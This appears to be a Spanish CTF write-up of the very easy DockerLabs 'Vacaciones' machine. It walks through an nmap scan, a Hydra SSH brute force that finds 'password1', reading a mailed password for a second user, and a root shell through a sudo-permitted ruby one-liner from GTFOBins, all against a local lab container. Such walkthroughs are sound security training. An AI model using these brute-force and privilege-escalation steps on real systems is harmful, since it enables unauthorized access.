



Vacaciones

Dificultad	Muy Facil
Tecnicas	Hydra
Pagina	Docker labs
Estado	Listo

Lo primero que hacemos es ver q puertos están abiertos

```
nmap -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allport
```

```
File: allPorts
# Nmap 7.95 scan initiated Mon Oct 13 22:57:13 2025 as: /usr/lib/nmap/nmap -p- --open --min-rate 5000 -sS -n -vvvv -Pn -oG allPorts 172.17.0.2
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.17.0.2 () Status: Up
Host: 172.17.0.2 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Mon Oct 13 22:57:14 2025 -- 1 IP address (1 host up) scanned in 1.14 seconds
```

Luego tiramos unos script basicos y buscamos las versiones de los puertos abiertos

```
nmap -p22,80 -sCV -oN targeted 172.17.0.2
```

```
File: targeted
# Nmap 7.95 scan initiated Mon Oct 13 22:57:58 2025 as: /usr/lib/nmap/nmap -p22,80 -sCV -oN targeted 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.000041s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 13 22:58:05 2025 -- 1 IP address (1 host up) scanned in 6.74 seconds
```

Al entrar a la pagina, vemos que tenemos un posible usuario → Camilo

```
172.17.0.2/ http://172.17.0.2/ DockerLabs
view-source:http://172.17.0.2/
OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Goo
1 <!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->
2
```

Vamos a aplicar HYDRA para encontrar la contraseña → password1

```
> hydra -l camilo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Macejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-13 23:04:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: camilo password: password1
```

Subida de Privilegio

```
$ whoami
camilo
```

```
$ pwd
/var/mail/camilo
```

Recordamos lo que nos dijo Juan y vamos al correo y encontramos un archivo el cual cuenta con la contraseña de Juan

```
$ ls
correo.txt
$ cat correo.txt
Hola Camilo,
Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb
```

```
> ssh juan@172.17.0.2
juan@172.17.0.2's password:
$ whoami
juan
```

Ingresamos como Juan y usamos sudo -l para ver si tenemos alguna forma de elevar nuestro privilegio

```
$ sudo -l
Matching Defaults entries for juan on acdc77e280d4:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User juan may run the following commands on acdc77e280d4:
  (ALL) NOPASSWD: /usr/bin/ruby
```

Vemos que podemos ejecutar el binario ruby por lo que nos respaldamos en gtfobins y elevamos nuestro privilegio

```
juan@acdc77e280d4:~$ sudo /usr/bin/ruby -e 'exec "/bin/bash"'
root@acdc77e280d4:~# whoami
root
```